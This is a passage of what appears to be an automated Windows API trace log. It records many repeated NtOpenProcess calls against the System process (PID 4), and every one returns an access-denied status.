Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.159] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.160] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.161] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.162] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xefacc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xefad4*=0x0) returned 0xc0000022 [0032.163] NtOpenProcess (in: ProcessHandle=0xefad4, DesiredAccess=0x440, ObjectAttributes=0xefab4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, 